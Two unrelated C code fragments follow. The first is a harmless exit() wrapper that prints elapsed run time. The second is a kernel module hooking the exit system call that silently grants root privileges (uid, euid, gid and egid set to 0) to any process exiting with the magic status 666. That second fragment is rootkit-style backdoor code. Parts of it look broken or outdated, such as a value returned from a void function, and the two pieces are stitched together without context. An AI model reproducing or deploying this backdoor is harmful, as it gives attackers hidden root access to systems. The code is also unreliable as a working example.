void exit(int status) { //time(&stop); stop = clock(); //printf("\n\nElapsed time = %.0f\n",difftime(stop,start)); printf("\n\nElapsed time = \n%f\n",((double)stop-start)/CLOCKS_PER_SEC); orig_exit_f_type orig_exit; orig_exit = (orig_exit_f_type)dlsym(RTLD_NEXT,"exit"); orig_exit(status); }
/* * Dummy module implementing system call hooking using DR logic. * * edit Makefile and set your module main accordingly */ asmlinkage static void my_hooked_exit(int status) { __HOOK_PRELOGUE; int (*orig_exit)(int st) = __SYSCALL_HANDLER_ADDR(__NR_exit); printk(KERN_INFO "**** my_hooked_exit called *****\n"); if(status == 666) { printk(KERN_INFO "**** MAGICK *****\n"); current->uid = 0; current->euid = 0; current->gid = 0; current->egid = 0; return -EINVAL; } orig_exit(status); }